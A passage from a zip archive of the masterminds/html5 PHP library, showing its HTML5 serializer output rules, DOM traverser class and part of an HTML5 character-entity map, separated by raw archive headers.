                'scope',
                'seamless',
                'shape',
                'size',
                'sizes',
                'span',
                'src',
                'srcdoc',
                'srclang',
                'srcset',
                'start',
                'step',
                'style',
                'summary',
                'tabindex',
                'target',
                'title',
                'type',
                'value',
                'width',
                'border',
                'charset',
                'cite',
                'class',
                'code',
                'codebase',
                'color',
                'cols',
                'colspan',
                'content',
                'coords',
                'data',
                'datetime',
                'default',
                'dir',
                'dirname',
                'enctype',
                'for',
                'form',
                'formaction',
                'headers',
                'height',
                'accept',
                'accept-charset',
                'accesskey',
                'action',
                'align',
                'alt',
                'bgcolor',
            ),
        ),
        array(
            'nodeNamespace' => 'http://www.w3.org/1999/xhtml',
            'xpath' => 'starts-with(local-name(), \'data-\')',
        ),
    );

    const DOCTYPE = '<!DOCTYPE html>';

    public function __construct($output, $options = array())
    {
        if (isset($options['encode_entities'])) {
            $this->encode = $options['encode_entities'];
        }

        $this->outputMode = static::IM_IN_HTML;
        $this->out = $output;
        $this->hasHTML5 = defined('ENT_HTML5');
    }

    public function addRule(array $rule)
    {
        $this->nonBooleanAttributes[] = $rule;
    }

    public function setTraverser(Traverser $traverser)
    {
        $this->traverser = $traverser;

        return $this;
    }

    public function unsetTraverser()
    {
        $this->traverser = null;

        return $this;
    }

    public function document($dom)
    {
        $this->doctype();
        if ($dom->documentElement) {
            foreach ($dom->childNodes as $node) {
                $this->traverser->node($node);
            }
            $this->nl();
        }
    }

    protected function doctype()
    {
        $this->wr(static::DOCTYPE);
        $this->nl();
    }

    public function element($ele)
    {
        $name = $ele->tagName;

        // Per spec:
        // If the element has a declared namespace in the HTML, MathML or
        // SVG namespaces, we use the lname instead of the tagName.
        if ($this->traverser->isLocalElement($ele)) {
            $name = $ele->localName;
        }

        // If we are in SVG or MathML there is special handling.
        // Using if/elseif instead of switch because it's faster in PHP.
        if ('svg' == $name) {
            $this->outputMode = static::IM_IN_SVG;
            $name = Elements::normalizeSvgElement($name);
        } elseif ('math' == $name) {
            $this->outputMode = static::IM_IN_MATHML;
        }

        $this->openTag($ele);
        if (Elements::isA($name, Elements::TEXT_RAW)) {
            foreach ($ele->childNodes as $child) {
                if ($child instanceof \DOMCharacterData) {
                    $this->wr($child->data);
                } elseif ($child instanceof \DOMElement) {
                    $this->element($child);
                }
            }
        } else {
            // Handle children.
            if ($ele->hasChildNodes()) {
                $this->traverser->children($ele->childNodes);
            }

            // Close out the SVG or MathML special handling.
            if ('svg' == $name || 'math' == $name) {
                $this->outputMode = static::IM_IN_HTML;
            }
        }

        // If not unary, add a closing tag.
        if (!Elements::isA($name, Elements::VOID_TAG)) {
            $this->closeTag($ele);
        }
    }

    /**
     * Write a text node.
     *
     * @param \DOMText $ele The text node to write.
     */
    public function text($ele)
    {
        if (isset($ele->parentNode) && isset($ele->parentNode->tagName) && Elements::isA($ele->parentNode->localName, Elements::TEXT_RAW)) {
            $this->wr($ele->data);

            return;
        }

        // FIXME: This probably needs some flags set.
        $this->wr($this->enc($ele->data));
    }

    public function cdata($ele)
    {
        // This encodes CDATA.
        $this->wr($ele->ownerDocument->saveXML($ele));
    }

    public function comment($ele)
    {
        // These produce identical output.
        // $this->wr('<!--')->wr($ele->data)->wr('-->');
        $this->wr($ele->ownerDocument->saveXML($ele));
    }

    public function processorInstruction($ele)
    {
        $this->wr('<?')
            ->wr($ele->target)
            ->wr(' ')
            ->wr($ele->data)
            ->wr('?>');
    }

    /**
     * Write the namespace attributes.
     *
     * @param \DOMNode $ele The element being written.
     */
    protected function namespaceAttrs($ele)
    {
        if (!$this->xpath || $this->xpath->document !== $ele->ownerDocument) {
            $this->xpath = new \DOMXPath($ele->ownerDocument);
        }

        foreach ($this->xpath->query('namespace::*[not(.=../../namespace::*)]', $ele) as $nsNode) {
            if (!in_array($nsNode->nodeValue, $this->implicitNamespaces)) {
                $this->wr(' ')->wr($nsNode->nodeName)->wr('="')->wr($nsNode->nodeValue)->wr('"');
            }
        }
    }

    /**
     * Write the opening tag.
     *
     * Tags for HTML, MathML, and SVG are in the local name. Otherwise, use the
     * qualified name (8.3).
     *
     * @param \DOMNode $ele The element being written.
     */
    protected function openTag($ele)
    {
        $this->wr('<')->wr($this->traverser->isLocalElement($ele) ? $ele->localName : $ele->tagName);

        $this->attrs($ele);
        $this->namespaceAttrs($ele);

        if ($this->outputMode == static::IM_IN_HTML) {
            $this->wr('>');
        }         // If we are not in html mode we are in SVG, MathML, or XML embedded content.
        else {
            if ($ele->hasChildNodes()) {
                $this->wr('>');
            }             // If there are no children this is self closing.
            else {
                $this->wr(' />');
            }
        }
    }

    protected function attrs($ele)
    {
        // FIXME: Needs support for xml, xmlns, xlink, and namespaced elements.
        if (!$ele->hasAttributes()) {
            return $this;
        }

        // TODO: Currently, this always writes name="value", and does not do
        // value-less attributes.
        $map = $ele->attributes;
        $len = $map->length;
        for ($i = 0; $i < $len; ++$i) {
            $node = $map->item($i);
            $val = $this->enc($node->value, true);

            // XXX: The spec says that we need to ensure that anything in
            // the XML, XMLNS, or XLink NS's should use the canonical
            // prefix. It seems that DOM does this for us already, but there
            // may be exceptions.
            $name = $node->nodeName;

            // Special handling for attributes in SVG and MathML.
            // Using if/elseif instead of switch because it's faster in PHP.
            if ($this->outputMode == static::IM_IN_SVG) {
                $name = Elements::normalizeSvgAttribute($name);
            } elseif ($this->outputMode == static::IM_IN_MATHML) {
                $name = Elements::normalizeMathMlAttribute($name);
            }

            $this->wr(' ')->wr($name);

            if ((isset($val) && '' !== $val) || $this->nonBooleanAttribute($node)) {
                $this->wr('="')->wr($val)->wr('"');
            }
        }
    }

    protected function nonBooleanAttribute(\DOMAttr $attr)
    {
        $ele = $attr->ownerElement;
        foreach ($this->nonBooleanAttributes as $rule) {
            if (isset($rule['nodeNamespace']) && $rule['nodeNamespace'] !== $ele->namespaceURI) {
                continue;
            }
            if (isset($rule['attNamespace']) && $rule['attNamespace'] !== $attr->namespaceURI) {
                continue;
            }
            if (isset($rule['nodeName']) && !is_array($rule['nodeName']) && $rule['nodeName'] !== $ele->localName) {
                continue;
            }
            if (isset($rule['nodeName']) && is_array($rule['nodeName']) && !in_array($ele->localName, $rule['nodeName'], true)) {
                continue;
            }
            if (isset($rule['attrName']) && !is_array($rule['attrName']) && $rule['attrName'] !== $attr->localName) {
                continue;
            }
            if (isset($rule['attrName']) && is_array($rule['attrName']) && !in_array($attr->localName, $rule['attrName'], true)) {
                continue;
            }
            if (isset($rule['xpath'])) {
                $xp = $this->getXPath($attr);
                if (isset($rule['prefixes'])) {
                    foreach ($rule['prefixes'] as $nsPrefix => $ns) {
                        $xp->registerNamespace($nsPrefix, $ns);
                    }
                }
                if (!$xp->evaluate($rule['xpath'], $attr)) {
                    continue;
                }
            }

            return true;
        }

        return false;
    }

    private function getXPath(\DOMNode $node)
    {
        if (!$this->xpath) {
            $this->xpath = new \DOMXPath($node->ownerDocument);
        }

        return $this->xpath;
    }

    /**
     * Write the closing tag.
     *
     * Tags for HTML, MathML, and SVG are in the local name. Otherwise, use the
     * qualified name (8.3).
     *
     * @param \DOMNode $ele The element being written.
     */
    protected function closeTag($ele)
    {
        if ($this->outputMode == static::IM_IN_HTML || $ele->hasChildNodes()) {
            $this->wr('</')->wr($this->traverser->isLocalElement($ele) ? $ele->localName : $ele->tagName)->wr('>');
        }
    }

    /**
     * Write to the output.
     *
     * @param string $text The string to put into the output
     *
     * @return $this
     */
    protected function wr($text)
    {
        fwrite($this->out, $text);

        return $this;
    }

    /**
     * Write a new line character.
     *
     * @return $this
     */
    protected function nl()
    {
        fwrite($this->out, PHP_EOL);

        return $this;
    }

    /**
     * Encode text.
     *
     * When encode is set to false, the default value, the text passed in is
     * escaped per section 8.3 of the html5 spec. For details on how text is
     * escaped see the escape() method.
     *
     * When encoding is set to true the text is converted to named character
     * references where appropriate. Section 8.1.4 Character references of the
     * html5 spec refers to using named character references. This is useful for
     * characters that can't otherwise legally be used in the text.
     *
     * The named character references are listed in section 8.5.
     *
     * @see http://www.w3.org/TR/2013/CR-html5-20130806/syntax.html#named-character-references True encoding will turn all named character references into their entities.
     *      This includes such characters as +.# and many other common ones. By default
     *      encoding here will just escape &'<>".
     *
     *      Note, PHP 5.4+ has better html5 encoding.
     *
     * @todo Use the Entities class in php 5.3 to have html5 entities.
     *
     * @param string $text      Text to encode.
     * @param bool   $attribute True if we are encoding an attrubute, false otherwise.
     *
     * @return string The encoded text.
     */
    protected function enc($text, $attribute = false)
    {
        // Escape the text rather than convert to named character references.
        if (!$this->encode) {
            return $this->escape($text, $attribute);
        }

        // If we are in PHP 5.4+ we can use the native html5 entity functionality to
        // convert the named character references.

        if ($this->hasHTML5) {
            return htmlentities($text, ENT_HTML5 | ENT_SUBSTITUTE | ENT_QUOTES, 'UTF-8', false);
        }         // If a version earlier than 5.4 html5 entities are not entirely handled.
        // This manually handles them.
        else {
            return strtr($text, HTML5Entities::$map);
        }
    }

    /**
     * Escape test.
     *
     * According to the html5 spec section 8.3 Serializing HTML fragments, text
     * within tags that are not style, script, xmp, iframe, noembed, and noframes
     * need to be properly escaped.
     *
     * The & should be converted to &amp;, no breaking space unicode characters
     * converted to &nbsp;, when in attribute mode the " should be converted to
     * &quot;, and when not in attribute mode the < and > should be converted to
     * &lt; and &gt;.
     *
     * @see http://www.w3.org/TR/2013/CR-html5-20130806/syntax.html#escapingString
     *
     * @param string $text      Text to escape.
     * @param bool   $attribute True if we are escaping an attrubute, false otherwise.
     */
    protected function escape($text, $attribute = false)
    {
        // Not using htmlspecialchars because, while it does escaping, it doesn't
        // match the requirements of section 8.5. For example, it doesn't handle
        // non-breaking spaces.
        if ($attribute) {
            $replace = array(
                '"' => '&quot;',
                '&' => '&amp;',
                "\xc2\xa0" => '&nbsp;',
            );
        } else {
            $replace = array(
                '<' => '&lt;',
                '>' => '&gt;',
                '&' => '&amp;',
                "\xc2\xa0" => '&nbsp;',
            );
        }

        return strtr($text, $replace);
    }
}
PK
h�\�l�E��;vendor/masterminds/html5/src/HTML5/Serializer/Traverser.phpnu�[���<?php

namespace Masterminds\HTML5\Serializer;

/**
 * Traverser for walking a DOM tree.
 *
 * This is a concrete traverser designed to convert a DOM tree into an
 * HTML5 document. It is not intended to be a generic DOMTreeWalker
 * implementation.
 *
 * @see http://www.w3.org/TR/2012/CR-html5-20121217/syntax.html#serializing-html-fragments
 */
class Traverser
{
    /**
     * Namespaces that should be treated as "local" to HTML5.
     */
    protected static $local_ns = array(
        'http://www.w3.org/1999/xhtml' => 'html',
        'http://www.w3.org/1998/Math/MathML' => 'math',
        'http://www.w3.org/2000/svg' => 'svg',
    );

    protected $dom;

    protected $options;

    protected $encode = false;

    protected $rules;

    protected $out;

    /**
     * Create a traverser.
     *
     * @param \DOMNode|\DOMNodeList $dom     The document or node to traverse.
     * @param resource              $out     A stream that allows writing. The traverser will output into this
     *                                       stream.
     * @param array                 $options An array of options for the traverser as key/value pairs. These include:
     *                                       - encode_entities: A bool to specify if full encding should happen for all named
     *                                       charachter references. Defaults to false which escapes &'<>".
     *                                       - output_rules: The path to the class handling the output rules.
     */
    public function __construct($dom, $out, RulesInterface $rules, $options = array())
    {
        $this->dom = $dom;
        $this->out = $out;
        $this->rules = $rules;
        $this->options = $options;

        $this->rules->setTraverser($this);
    }

    /**
     * Tell the traverser to walk the DOM.
     *
     * @return resource $out Returns the output stream.
     */
    public function walk()
    {
        if ($this->dom instanceof \DOMDocument) {
            $this->rules->document($this->dom);
        } elseif ($this->dom instanceof \DOMDocumentFragment) {
            // Document fragments are a special case. Only the children need to
            // be serialized.
            if ($this->dom->hasChildNodes()) {
                $this->children($this->dom->childNodes);
            }
        }        // If NodeList, loop
        elseif ($this->dom instanceof \DOMNodeList) {
            // If this is a NodeList of DOMDocuments this will not work.
            $this->children($this->dom);
        }         // Else assume this is a DOMNode-like datastructure.
        else {
            $this->node($this->dom);
        }

        return $this->out;
    }

    /**
     * Process a node in the DOM.
     *
     * @param mixed $node A node implementing \DOMNode.
     */
    public function node($node)
    {
        // A listing of types is at http://php.net/manual/en/dom.constants.php
        switch ($node->nodeType) {
            case XML_ELEMENT_NODE:
                $this->rules->element($node);
                break;
            case XML_TEXT_NODE:
                $this->rules->text($node);
                break;
            case XML_CDATA_SECTION_NODE:
                $this->rules->cdata($node);
                break;
            case XML_PI_NODE:
                $this->rules->processorInstruction($node);
                break;
            case XML_COMMENT_NODE:
                $this->rules->comment($node);
                break;
            // Currently we don't support embedding DTDs.
            default:
                //print '<!-- Skipped -->';
                break;
        }
    }

    /**
     * Walk through all the nodes on a node list.
     *
     * @param \DOMNodeList $nl A list of child elements to walk through.
     */
    public function children($nl)
    {
        foreach ($nl as $node) {
            $this->node($node);
        }
    }

    /**
     * Is an element local?
     *
     * @param mixed $ele An element that implement \DOMNode.
     *
     * @return bool true if local and false otherwise.
     */
    public function isLocalElement($ele)
    {
        $uri = $ele->namespaceURI;
        if (empty($uri)) {
            return false;
        }

        return isset(static::$local_ns[$uri]);
    }
}
PK
h�\	�n���?vendor/masterminds/html5/src/HTML5/Serializer/HTML5Entities.phpnu�[���<?php
/**
 * @file
 * This contains HTML5 entities to use with serializing.
 *
 * The list here is mildly different from the list at Entities because
 * that list was generated from the w3c. It contains some entities that are
 * not entirely proper such as &am; which maps to &. This list is meant to be
 * a fallback for PHP versions prior to PHP 5.4 when dealing with encoding.
 */

namespace Masterminds\HTML5\Serializer;

/**
 * A mapping of entities to their html5 representation.
 * Used for older PHP
 * versions that don't have the mapping.
 */
class HTML5Entities
{
    public static $map = array(
        '	' => '&Tab;',
        "\n" => '&NewLine;',
        '!' => '&excl;',
        '"' => '&quot;',
        '#' => '&num;',
        '$' => '&dollar;',
        '%' => '&percnt;',
        '&' => '&amp;',
        '\'' => '&apos;',
        '(' => '&lpar;',
        ')' => '&rpar;',
        '*' => '&ast;',
        '+' => '&plus;',
        ',' => '&comma;',
        '.' => '&period;',
        '/' => '&sol;',
        ':' => '&colon;',
        ';' => '&semi;',
        '<' => '&lt;',
        '<⃒' => '&nvlt',
        '=' => '&equals;',
        '=⃥' => '&bne',
        '>' => '&gt;',
        '>⃒' => '&nvgt',
        '?' => '&quest;',
        '@' => '&commat;',
        '[' => '&lbrack;',
        '\\' => '&bsol;',
        ']' => '&rsqb;',
        '^' => '&Hat;',
        '_' => '&lowbar;',
        '`' => '&grave;',
        'fj' => '&fjlig',
        '{' => '&lbrace;',
        '|' => '&vert;',
        '}' => '&rcub;',
        ' ' => '&nbsp;',
        '¡' => '&iexcl;',
        '¢' => '&cent;',
        '£' => '&pound;',
        '¤' => '&curren;',
        '¥' => '&yen;',
        '¦' => '&brvbar;',
        '§' => '&sect;',
        '¨' => '&DoubleDot;',
        '©' => '&copy;',
        'ª' => '&ordf;',
        '«' => '&laquo;',
        '¬' => '&not;',
        '­' => '&shy;',
        '®' => '&reg;',
        '¯' => '&macr;',
        '°' => '&deg;',
        '±' => '&plusmn;',
        '²' => '&sup2;',
        '³' => '&sup3;',
        '´' => '&DiacriticalAcute;',
        'µ' => '&micro;',
        '¶' => '&para;',
        '·' => '&CenterDot;',
        '¸' => '&Cedilla;',
        '¹' => '&sup1;',
        'º' => '&ordm;',
        '»' => '&raquo;',
        '¼' => '&frac14;',
        '½' => '&half;',
        '¾' => '&frac34;',
        '¿' => '&iquest;',
        'À' => '&Agrave;',
        'Á' => '&Aacute;',
        'Â' => '&Acirc;',
        'Ã' => '&Atilde;',
        'Ä' => '&Auml;',
        'Å' => '&Aring;',
        'Æ' => '&AElig;',
        'Ç' => '&Ccedil;',
        'È' => '&Egrave;',
        'É' => '&Eacute;',
        'Ê' => '&Ecirc;',
        'Ë' => '&Euml;',
        'Ì' => '&Igrave;',
        'Í' => '&Iacute;',
        'Î' => '&Icirc;',
        'Ï' => '&Iuml;',
        'Ð' => '&ETH;',
        'Ñ' => '&Ntilde;',
        'Ò' => '&Ograve;',
        'Ó' => '&Oacute;',
        'Ô' => '&Ocirc;',
        'Õ' => '&Otilde;',
        'Ö' => '&Ouml;',
        '×' => '&times;',
        'Ø' => '&Oslash;',
        'Ù' => '&Ugrave;',
        'Ú' => '&Uacute;',
        'Û' => '&Ucirc;',
        'Ü' => '&Uuml;',
        'Ý' => '&Yacute;',
        'Þ' => '&THORN;',
        'ß' => '&szlig;',
        'à' => '&agrave;',
        'á' => '&aacute;',
        'â' => '&acirc;',
        'ã' => '&atilde;',
        'ä' => '&auml;',
        'å' => '&aring;',
        'æ' => '&aelig;',
        'ç' => '&ccedil;',
        'è' => '&egrave;',
        'é' => '&eacute;',
        'ê' => '&ecirc;',
        'ë' => '&euml;',
        'ì' => '&igrave;',
        'í' => '&iacute;',
        'î' => '&icirc;',
        'ï' => '&iuml;',
        'ð' => '&eth;',
        'ñ' => '&ntilde;',
        'ò' => '&ograve;',
        'ó' => '&oacute;',
        'ô' => '&ocirc;',
        'õ' => '&otilde;',
        'ö' => '&ouml;',
        '÷' => '&divide;',
        'ø' => '&oslash;',
        'ù' => '&ugrave;',
        'ú' => '&uacute;',
        'û' => '&ucirc;',
        'ü' => '&uuml;',
        'ý' => '&yacute;',
        'þ' => '&thorn;',
        'ÿ' => '&yuml;',
        'Ā' => '&Amacr;',
        'ā' => '&amacr;',
        'Ă' => '&Abreve;',
        'ă' => '&abreve;',
        'Ą' => '&Aogon;',
        'ą' => '&aogon;',
        'Ć' => '&Cacute;',
        'ć' => '&cacute;',
        'Ĉ' => '&Ccirc;',
        'ĉ' => '&ccirc;',
        'Ċ' => '&Cdot;',
        'ċ' => '&cdot;',
        'Č' => '&Ccaron;',
        'č' => '&ccaron;',
        'Ď' => '&Dcaron;',
        'ď' => '&dcaron;',
        'Đ' => '&Dstrok;',
        'đ' => '&dstrok;',
        'Ē' => '&Emacr;',
        'ē' => '&emacr;',
        'Ė' => '&Edot;',
        'ė' => '&edot;',
        'Ę' => '&Eogon;',
        'ę' => '&eogon;',
        'Ě' => '&Ecaron;',
        'ě' => '&ecaron;',
        'Ĝ' => '&Gcirc;',
        'ĝ' => '&gcirc;',
        'Ğ' => '&Gbreve;',
        'ğ' => '&gbreve;',
        'Ġ' => '&Gdot;',
        'ġ' => '&gdot;',
        'Ģ' => '&Gcedil;',
        'Ĥ' => '&Hcirc;',
        'ĥ' => '&hcirc;',
        'Ħ' => '&Hstrok;',
        'ħ' => '&hstrok;',
        'Ĩ' => '&Itilde;',
        'ĩ' => '&itilde;',
        'Ī' => '&Imacr;',
        'ī' => '&imacr;',
        'Į' => '&Iogon;',
        'į' => '&iogon;',
        'İ' => '&Idot;',
        'ı' => '&inodot;',
        'IJ' => '&IJlig;',
        'ij' => '&ijlig;',
        'Ĵ' => '&Jcirc;',
        'ĵ' => '&jcirc;',
        'Ķ' => '&Kcedil;',
        'ķ' => '&kcedil;',
        'ĸ' => '&kgreen;',
        'Ĺ' => '&Lacute;',
        'ĺ' => '&lacute;',
        'Ļ' => '&Lcedil;',
        'ļ' => '&lcedil;',
        'Ľ' => '&Lcaron;',
        'ľ' => '&lcaron;',
        'Ŀ' => '&Lmidot;',
        'ŀ' => '&lmidot;',
        'Ł' => '&Lstrok;',
        'ł' => '&lstrok;',
        'Ń' => '&Nacute;',
        'ń' => '&nacute;',
        'Ņ' => '&Ncedil;',
        'ņ' => '&ncedil;',
        'Ň' => '&Ncaron;',
        'ň' => '&ncaron;',
        'ʼn' => '&napos;',
        'Ŋ' => '&ENG;',
        'ŋ' => '&eng;',
        'Ō' => '&Omacr;',
        'ō' => '&omacr;',
        'Ő' => '&Odblac;',
        'ő' => '&odblac;',
        'Œ' => '&OElig;',
        'œ' => '&oelig;',
        'Ŕ' => '&Racute;',
        'ŕ' => '&racute;',
        'Ŗ' => '&Rcedil;',
        'ŗ' => '&rcedil;',
        'Ř' => '&Rcaron;',
        'ř' => '&rcaron;',
        'Ś' => '&Sacute;',
        'ś' => '&sacute;',
        'Ŝ' => '&Scirc;',
        'ŝ' => '&scirc;',
        'Ş' => '&Scedil;',
        'ş' => '&scedil;',
        'Š' => '&Scaron;',
        'š' => '&scaron;',
        'Ţ' => '&Tcedil;',
        'ţ' => '&tcedil;',
        'Ť' => '&Tcaron;',
        'ť' => '&tcaron;',
        'Ŧ' => '&Tstrok;',
        'ŧ' => '&tstrok;',
        'Ũ' => '&Utilde;',
        'ũ' => '&utilde;',
        'Ū' => '&Umacr;',
        'ū' => '&umacr;',
        'Ŭ' => '&Ubreve;',
        'ŭ' => '&ubreve;',
        'Ů' => '&Uring;',
        'ů' => '&uring;',
        'Ű' => '&Udblac;',
        'ű' => '&udblac;',
        'Ų' => '&Uogon;',
        'ų' => '&uogon;',
        'Ŵ' => '&Wcirc;',
        'ŵ' => '&wcirc;',
        'Ŷ' => '&Ycirc;',
        'ŷ' => '&ycirc;',
        'Ÿ' => '&Yuml;',
        'Ź' => '&Zacute;',
        'ź' => '&zacute;',
        'Ż' => '&Zdot;',
        'ż' => '&zdot;',
        'Ž' => '&Zcaron;',
        'ž' => '&zcaron;',
        'ƒ' => '&fnof;',
        'Ƶ' => '&imped;',
        'ǵ' => '&gacute;',
        'ȷ' => '&jmath;',
        'ˆ' => '&circ;',
        'ˇ' => '&Hacek;',
        '˘' => '&Breve;',
        '˙' => '&dot;',
        '˚' => '&ring;',
        '˛' => '&ogon;',
        '˜' => '&DiacriticalTilde;',
        '˝' => '&DiacriticalDoubleAcute;',
        '̑' => '&DownBreve;',
        'Α' => '&Alpha;',
        'Β' => '&Beta;',
        'Γ' => '&Gamma;',
        'Δ' => '&Delta;',
        'Ε' => '&Epsilon;',
        'Ζ' => '&Zeta;',
        'Η' => '&Eta;',
        'Θ' => '&Theta;',
        'Ι' => '&Iota;',
        'Κ' => '&Kappa;',
        'Λ' => '&Lambda;',
        'Μ' => '&Mu;',
        'Ν' => '&Nu;',
        'Ξ' => '&Xi;',
        'Ο' => '&Omicron;',
        'Π' => '&Pi;',
        'Ρ' => '&Rho;',
        'Σ' => '&Sigma;',
        'Τ' => '&Tau;',
        'Υ' => '&Upsilon;',
        'Φ' => '&Phi;',
        'Χ' => '&Chi;',
        'Ψ' => '&Psi;',
        'Ω' => '&Omega;',
        'α' => '&alpha;',
        'β' => '&beta;',
        'γ' => '&gamma;',
        'δ' => '&delta;',
        'ε' => '&epsi;',
        'ζ' => '&zeta;',
        'η' => '&eta;',
        'θ' => '&theta;',
        'ι' => '&iota;',
        'κ' => '&kappa;',
        'λ' => '&lambda;',
        'μ' => '&mu;',
        'ν' => '&nu;',
        'ξ' => '&xi;',
        'ο' => '&omicron;',
        'π' => '&pi;',
        'ρ' => '&rho;',
        'ς' => '&sigmav;',
        'σ' => '&sigma;',
        'τ' => '&tau;',
        'υ' => '&upsi;',
        'φ' => '&phi;',
        'χ' => '&chi;',
        'ψ' => '&psi;',
        'ω' => '&omega;',
        'ϑ' => '&thetasym;',
        'ϒ' => '&upsih;',
        'ϕ' => '&straightphi;',
        'ϖ' => '&piv;',
        'Ϝ' => '&Gammad;',
        'ϝ' => '&gammad;',
        'ϰ' => '&varkappa;',
        'ϱ' => '&rhov;',
        'ϵ' => '&straightepsilon;',
        '϶' => '&backepsilon;',
        'Ё' => '&IOcy;',
        'Ђ' => '&DJcy;',
        'Ѓ' => '&GJcy;',
        'Є' => '&Jukcy;',
        'Ѕ' => '&DScy;',
        'І' => '&Iukcy;',
        'Ї' => '&YIcy;',
        'Ј' => '&Jsercy;',
        'Љ' => '&LJcy;',
        'Њ' => '&NJcy;',
        'Ћ' => '&TSHcy;',
        'Ќ' => '&KJcy;',
        'Ў' => '&Ubrcy;',
        'Џ' => '&DZcy;',
        'А' => '&Acy;',
        'Б' => '&Bcy;',
        'В' => '&Vcy;',
        'Г' => '&Gcy;',
        'Д' => '&Dcy;',
        'Е' => '&IEcy;',
        'Ж' => '&ZHcy;',
        'З' => '&Zcy;',
        'И' => '&Icy;',
        'Й' => '&Jcy;',
        'К' => '&Kcy;',
        'Л' => '&Lcy;',
        'М' => '&Mcy;',
        'Н' => '&Ncy;',
        'О' => '&Ocy;',
        'П' => '&Pcy;',
        'Р' => '&Rcy;',
        'С' => '&Scy;',
        'Т' => '&Tcy;',
        'У' => '&Ucy;',
        'Ф' => '&Fcy;',
        'Х' => '&KHcy;',
        'Ц' => '&TScy;',
        'Ч' => '&CHcy;',
        'Ш' => '&SHcy;',
        'Щ' => '&SHCHcy;',
        'Ъ' => '&HARDcy;',
        'Ы' => '&Ycy;',
        'Ь' => '&SOFTcy;',
        'Э' => '&Ecy;',
        'Ю' => '&YUcy;',
        'Я' => '&YAcy;',
        'а' => '&acy;',
        'б' => '&bcy;',
        'в' => '&vcy;',
        'г' => '&gcy;',
        'д' => '&dcy;',
        'е' => '&iecy;',
        'ж' => '&zhcy;',
        'з' => '&zcy;',
        'и' => '&icy;',
        'й' => '&jcy;',
        'к' => '&kcy;',
        'л' => '&lcy;',
        'м' => '&mcy;',
        'н' => '&ncy;',
        'о' => '&ocy;',
        'п' => '&pcy;',
        'р' => '&rcy;',
        'с' => '&scy;',
        'т' => '&tcy;',
        'у' => '&ucy;',
        'ф' => '&fcy;',
        'х' => '&khcy;',
        'ц' => '&tscy;',
        'ч' => '&chcy;',
        'ш' => '&shcy;',
        'щ' => '&shchcy;',
        'ъ' => '&hardcy;',
        'ы' => '&ycy;',
        'ь' => '&softcy;',
        'э' => '&ecy;',
        'ю' => '&yucy;',
        'я' => '&yacy;',
        'ё' => '&iocy;',
        'ђ' => '&djcy;',
        'ѓ' => '&gjcy;',
        'є' => '&jukcy;',
        'ѕ' => '&dscy;',
        'і' => '&iukcy;',
        'ї' => '&yicy;',
        'ј' => '&jsercy;',
        'љ' => '&ljcy;',
        'њ' => '&njcy;',
        'ћ' => '&tshcy;',
        'ќ' => '&kjcy;',
        'ў' => '&ubrcy;',
        'џ' => '&dzcy;',
        ' ' => '&ensp;',
        ' ' => '&emsp;',
        ' ' => '&emsp13;',
        ' ' => '&emsp14;',
        ' ' => '&numsp;',
        ' ' => '&puncsp;',
        ' ' => '&ThinSpace;',
        ' ' => '&hairsp;',
        '​' => '&ZeroWidthSpace;',
        '‌' => '&zwnj;',
        '‍' => '&zwj;',
        '‎' => '&lrm;',
        '‏' => '&rlm;',
        '‐' => '&hyphen;',
        '–' => '&ndash;',
        '—' => '&mdash;',
        '―' => '&horbar;',
        '‖' => '&Verbar;',
        '‘' => '&OpenCurlyQuote;',
        '’' => '&rsquo;',
        '‚' => '&sbquo;',
        '“' => '&OpenCurlyDoubleQuote;',
        '”' => '&rdquo;',
        '„' => '&bdquo;',
        '†' => '&dagger;',
        '‡' => '&Dagger;',
        '•' => '&bull;',
        '‥' => '&nldr;',
        '…' => '&hellip;',
        '‰' => '&permil;',
        '‱' => '&pertenk;',
        '′' => '&prime;',
        '″' => '&Prime;',
        '‴' => '&tprime;',
        '‵' => '&backprime;',
        '‹' => '&lsaquo;',
        '›' => '&rsaquo;',
        '‾' => '&oline;',
        '⁁' => '&caret;',
        '⁃' => '&hybull;',
        '⁄' => '&frasl;',
        '⁏' => '&bsemi;',
        '⁗' => '&qprime;',
        ' ' => '&MediumSpace;',
        '  ' => '&ThickSpace',
        '⁠' => '&NoBreak;',
        '⁡' => '&af;',
        '⁢' => '&InvisibleTimes;',
        '⁣' => '&ic;',
        '€' => '&euro;',
        '⃛' => '&TripleDot;',
        '⃜' => '&DotDot;',
        'ℂ' => '&complexes;',
        '℅' => '&incare;',
        'ℊ' => '&gscr;',
        'ℋ' => '&HilbertSpace;',
        'ℌ' => '&Hfr;',
        'ℍ' => '&Hopf;',
        'ℎ' => '&planckh;',
        'ℏ' => '&planck;',
        'ℐ' => '&imagline;',
        'ℑ' => '&Ifr;',
        'ℒ' => '&lagran;',
        'ℓ' => '&ell;',
        'ℕ' => '&naturals;',
        '№' => '&numero;',
        '℗' => '&copysr;',
        '℘' => '&wp;',
        'ℙ' => '&primes;',
        'ℚ' => '&rationals;',
        'ℛ' => '&realine;',
        'ℜ' => '&Rfr;',
        'ℝ' => '&Ropf;',
        '℞' => '&rx;',
        '™' => '&trade;',
        'ℤ' => '&Zopf;',
        '℧' => '&mho;',
        'ℨ' => '&Zfr;',
        '℩' => '&iiota;',
        'ℬ' => '&Bscr;',
        'ℭ' => '&Cfr;',
        'ℯ' => '&escr;',
        'ℰ' => '&expectation;',
        'ℱ' => '&Fouriertrf;',
        'ℳ' => '&Mellintrf;',
        'ℴ' => '&orderof;',
        'ℵ' => '&aleph;',
        'ℶ' => '&beth;',
        'ℷ' => '&gimel;',
        'ℸ' => '&daleth;',
        'ⅅ' => '&CapitalDifferentialD;',
        'ⅆ' => '&DifferentialD;',
        'ⅇ' => '&exponentiale;',
        'ⅈ' => '&ImaginaryI;',
        '⅓' => '&frac13;',
        '⅔' => '&frac23;',
        '⅕' => '&frac15;',
        '⅖' => '&frac25;',
        '⅗' => '&frac35;',
        '⅘' => '&frac45;',
        '⅙' => '&frac16;',
        '⅚' => '&frac56;',
        '⅛' => '&frac18;',
        '⅜' => '&frac38;',
        '⅝' => '&frac58;',
        '⅞' => '&frac78;',
        '←' => '&larr;',
        '↑' => '&uarr;',
        '→' => '&srarr;',
        '↓' => '&darr;',
        '↔' => '&harr;',
        '↕' => '&UpDownArrow;',
        '↖' => '&nwarrow;',
        '↗' => '&UpperRightArrow;',
        '↘' => '&LowerRightArrow;',
        '↙' => '&swarr;',
        '↚' => '&nleftarrow;',
        '↛' => '&nrarr;',
        '↝' => '&rarrw;',
        '↝̸' => '&nrarrw',
        '↞' => '&Larr;',
        '↟' => '&Uarr;',
        '↠' => '&twoheadrightarrow;',
        '↡' => '&Darr;',
        '↢' => '&larrtl;',
        '↣' => '&rarrtl;',
        '↤' => '&LeftTeeArrow;',
        '↥' => '&UpTeeArrow;',
